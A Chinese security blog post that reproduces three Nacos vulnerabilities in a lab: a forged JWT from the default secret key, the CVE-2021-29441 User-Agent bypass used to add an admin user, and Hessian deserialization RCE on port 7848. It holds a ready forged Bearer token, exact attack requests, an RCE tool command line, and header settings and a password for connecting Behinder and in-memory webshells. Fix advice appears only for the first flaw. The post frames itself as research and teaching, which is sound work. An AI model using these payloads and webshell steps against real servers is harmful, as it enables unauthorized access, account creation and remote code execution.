漏洞合集 | Nacos系列多漏洞复现

admin 2024年10月18日09:34:19评论34 views字数 2739阅读9分7秒阅读模式

点击蓝字 关注我们

漏洞合集 | Nacos系列多漏洞复现

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

添加星标不迷路

由于公众号推送规则改变,微信头条公众号信息会被折叠,为了避免错过公众号推送,请大家动动手指设置“星标”,设置之后就可以和从前一样收到推送啦

一、简介

nacos是阿里巴巴的一个开源项目,旨在帮助构建云原生应用程序和微服务平台

二、环境搭建

下载文件,该文件为gz压缩文件

wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

转移目录

cd nacos/bin

运行nacos

./startup.sh -m standalone

关闭nacos

./shutdown.sh

漏洞合集 | Nacos系列多漏洞复现

访问url:

http://192.168.1.128:8848/nacos/#/login

漏洞合集 | Nacos系列多漏洞复现

默认账号密码

nacos/nacos

三、nacos身份绕过漏洞

原理

nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。

也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击

对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击

对应就是数据包的accesstoken

影响版本

0.1.0 <= Nacos <= 2.2.0

第一种复现

访问url:

http://192.168.1.128:8848/nacos/#/login

登陆抓包

漏洞合集 | Nacos系列多漏洞复现

拦截返回包填写poc

漏洞合集 | Nacos系列多漏洞复现

POC

HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206

{
"accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl": 18000,
"globalAdmin": false,
"username": "nacos"
}

成功登录后台

漏洞合集 | Nacos系列多漏洞复现

修复建议

升级到最新版nacos

修改token.secret.key的值

参考:

https://www.cnblogs.com/0vers1eep/p/17226608.html
https://mp.weixin.qq.com/s?src=11&timestamp=1688698851&ver=4635&signature=9oSwwPFu8Rj0T9S4Y2wphhDWoF*3swqweCW*kX1YPjTEN3VJvHo51RDv6WlMdyZrFcNpsj*AMXN3p7w2pGiIb*FP5Unnkb-8LUfHFEcWBXBUYf9QdXsPb7mM2ayaAhaq&new=1

四、Nacos 身份验证绕过漏洞(CVE-2021-29441)

原理

<1.4.1及更早版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为"Nacos-Server",如果是的话则不进行任何认证。

影响版本

nacos<1.4.1

复现

在vulhub上搭建环境

cd /root/桌面/docker/vulhub/nacos/CVE-2021-29441/
docker-compose up -d

开启burp抓包

http://192.168.111.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

把UA改成Nacos-Server

漏洞合集 | Nacos系列多漏洞复现

1.成功访问,绕过鉴权,返回用户列表数据

漏洞合集 | Nacos系列多漏洞复现

2.绕过鉴权 添加新用户

请求行改成:

POST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1

ua改成:Nacos-Server

漏洞合集 | Nacos系列多漏洞复现

成功添加一个hglight/hglight的用户

3.再次查看用户列表

漏洞合集 | Nacos系列多漏洞复现

4.登录

漏洞合集 | Nacos系列多漏洞复现

五、nacos Hessian反序列化

原理

nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致rce

影响版本

nacos 1.x在单机模式下默认不开放7848端口,但是集群模式下受影响。

2.x版本无论单机还是集群均开放7848端口

主要受影响的是7848端口的Jraft服务。

受影响版本

  • 1.4.0 <= Nacos < 1.4.6

  • 2.0.0 <= Nacos < 2.2.3

不受影响版本

  • Nacos < 1.4.0

  • 1.4.6 <= Nacos < 2.0.0

  • Nacos >= 2.2.3

复现

利用nacos2.2.0的环境

漏洞合集 | Nacos系列多漏洞复现

使用github上面的工具

https://github.com/c0olw/NacosRce/releases/tag/v0.5

漏洞合集 | Nacos系列多漏洞复现

java -jar NacosRce.jar  http://192.168.1.128:8848/nacos/#/login  7848 "whoami"

我这里试的 只有前几次 能利用成功 后面好像都不咋行

漏洞合集 | Nacos系列多漏洞复现

冰蝎3.0连接

需要设置请求头x-client-data:rebeyond

设置Referer:https://www.google.com/

路径随意

密码rebeyond

漏洞合集 | Nacos系列多漏洞复现

cmd内存马

需要设置请求头x-client-data:cmd

设置Referer:https://www.google.com/

请求头cmd:要执行的命令

漏洞合集 | Nacos系列多漏洞复现

参考:

https://y4er.com/posts/nacos-hessian-rce/

原文始发于微信公众号(SecHub网络安全社区):漏洞合集 | Nacos系列多漏洞复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日09:34:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞合集 | Nacos系列多漏洞复现https://cn-sec.com/archives/1882607.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息